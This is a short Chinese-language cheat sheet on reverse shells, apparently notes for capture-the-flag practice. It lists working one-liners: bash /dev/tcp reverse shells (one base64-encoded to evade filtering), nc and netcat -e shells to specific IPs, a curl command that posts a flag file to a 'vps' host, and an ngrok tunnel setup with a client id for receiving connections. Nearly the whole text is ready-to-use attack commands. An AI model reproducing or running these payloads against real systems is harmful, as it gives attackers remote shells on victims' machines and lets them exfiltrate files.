正向链接 #
攻击者连接目标机器,如远程桌面,web服务,ssh等
反向连接 #
相当于角色反转,让目标机器来找我们,为什么要这样做呢
常见于命令不回显,受限于防火墙等
反弹shell,让目标机器来找我们,就得要有一个公网ip
我们用ngrok.cc送的,可以免费用一个公网端口
./sunny clientid 204616381952
free.idcfengye.com:10189
本地映射1234d端口,监听
nc -lvp 1234
常见的方式 #
bash -i >& /dev/tcp/ip/port 0>&1
or
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"#更稳定
or
echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash
or
bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
#对上面进行base64编码=>YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}
解释
命令 | 详解 |
---|---|
bash -i | 产生一个bash交互环境 |
>& | 将联合符号前面的内容与后面相结合,然后一起重定向给后者。这样在被攻击机上就不会显示执行的命令 |
/dev/tcp/47.xxx.xxx.72/2333 | Linux环境中所有的内容都是以文件的形式存在的,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 |
0>&1 | 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容 |
curl http://vps:7015 -d @/flag
-d参数时post
@后面时这个文件
本地监听就能看到请求的flag
nc -e /bin/sh 192.168.146.129 2333
-
主要就是上面这些
netcat 47.xxx.xxx.72 2333 -e /bin/bash